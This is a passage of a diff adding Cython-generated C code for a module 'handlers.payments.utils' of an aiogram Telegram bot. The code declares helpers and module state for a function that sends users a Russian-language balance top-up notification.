__Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.utils" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.utils" +extern int __pyx_module_is_main_handlers__payments__utils; +int __pyx_module_is_main_handlers__payments__utils = 0; + +/* Implementation of "handlers.payments.utils" */ +/* #### Code section: global_var ### */ +/* #### Code section: string_decls ### */ +static const char __pyx_k_e[] = "e"; +static const char __pyx_k__2[] = "\360\237\221\244 \320\233\320\270\321\207\320\275\321\213\320\271 \320\272\320\260\320\261\320\270\320\275\320\265\321\202"; +static const char __pyx_k__3[] = "\320\222\320\260\321\210 \320\261\320\260\320\273\320\260\320\275\321\201 \321\203\321\201\320\277\320\265\321\210\320\275\320\276 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275 \320\275\320\260 "; +static const char __pyx_k__4[] = " \321\200\321\203\320\261\320\273\320\265\320\271. \320\241\320\277\320\260\321\201\320\270\320\261\320\276 \320\267\320\260 \320\276\320\277\320\273\320\260\321\202\321\203!"; +static const char __pyx_k__5[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\276\321\202\320\277\321\200\320\260\320\262\320\272\320\265 \321\203\320\262\320\265\320\264\320\276\320\274\320\273\320\265\320\275\320\270\321\217 \320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\216 "; +static const char __pyx_k__6[] = ": "; +static const char __pyx_k__7[] = "."; +static const char __pyx_k__9[] = "?"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_bot[] = "bot"; +static const char __pyx_k_int[] = "int"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_float[] = "float"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_chat_id[] = "chat_id"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_profile[] = "profile"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_send_message[] = "send_message"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_handlers_payments_utils_py[] = "handlers/payments/utils.py"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_5utils_send_payment_success_notification(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_user_id, double __pyx_v_amount); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__5; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__7; + PyObject *__pyx_n_s__9; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_bot; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_s_chat_id; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_float; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_kp_s_handlers_payments_utils_py; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_int; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_u_profile; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_message; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__8; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__5); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__7); + Py_CLEAR(clear_module_state->__pyx_n_s__9); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_bot); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_chat_id); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_float); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_utils_py); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_int); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_u_profile); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_message); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__8); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__5); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__7); + Py_VISIT(traverse_module_state->__pyx_n_s__9); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_bot); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_chat_id); + 